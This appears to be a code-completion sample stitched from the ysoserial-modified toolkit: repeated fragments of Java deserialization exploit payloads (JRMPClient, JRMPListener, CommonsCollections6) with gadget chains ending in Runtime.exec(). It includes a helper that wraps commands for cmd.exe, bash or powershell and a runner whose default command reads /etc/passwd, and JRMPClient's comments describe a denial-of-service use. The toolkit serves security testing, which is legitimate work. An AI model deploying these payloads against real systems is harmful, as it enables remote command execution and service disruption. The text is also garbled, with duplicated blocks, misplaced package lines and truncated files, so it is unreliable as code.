// }
//
// }
| import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner; | package ysoserial.payloads;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/JRMPClient.java
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") | public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/JRMPClient.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner; |
String host;
int port;
int sep = connection.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = connection;
}
else {
host = connection.substring(0, sep);
port = Integer.valueOf(connection.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
@Override | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/JRMPClient.java
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
String host;
int port;
int sep = connection.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = connection;
}
else {
host = connection.substring(0, sep);
port = Integer.valueOf(connection.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
@Override | public Registry getObject(CmdExecuteHelper cmdHelper) throws Exception { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/JRMPListener.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
//
// public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// Field field = clazz.getDeclaredField(fieldName);
// if (field != null)
// field.setAccessible(true);
// else if (clazz.getSuperclass() != null)
// field = getField(clazz.getSuperclass(), fieldName);
// return field;
// }
//
// public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// field.set(obj, value);
// }
//
// public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// return field.get(obj);
// }
//
// public static Constructor<?> getFirstCtor(final String name) throws Exception {
// final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// ctor.setAccessible(true);
// return ctor;
// }
//
//
// public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
// }
//
// @SuppressWarnings ( {"unchecked"} )
// public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
// objCons.setAccessible(true);
// Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
// sc.setAccessible(true);
// return (T)sc.newInstance(consArgs);
// }
//
// }
| import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; | package ysoserial.payloads;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable") | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
//
// public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// Field field = clazz.getDeclaredField(fieldName);
// if (field != null)
// field.setAccessible(true);
// else if (clazz.getSuperclass() != null)
// field = getField(clazz.getSuperclass(), fieldName);
// return field;
// }
//
// public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// field.set(obj, value);
// }
//
// public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// return field.get(obj);
// }
//
// public static Constructor<?> getFirstCtor(final String name) throws Exception {
// final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// ctor.setAccessible(true);
// return ctor;
// }
//
//
// public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
// }
//
// @SuppressWarnings ( {"unchecked"} )
// public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
// objCons.setAccessible(true);
// Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
// sc.setAccessible(true);
// return (T)sc.newInstance(consArgs);
// }
//
// }
// Path: src/main/java/ysoserial/payloads/JRMPListener.java
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
package ysoserial.payloads;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable") | public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/CommonsCollections6.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; | package ysoserial.payloads;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"}) | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/CommonsCollections6.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
package ysoserial.payloads;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"}) | public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/CommonsCollections6.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; | package ysoserial.payloads;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
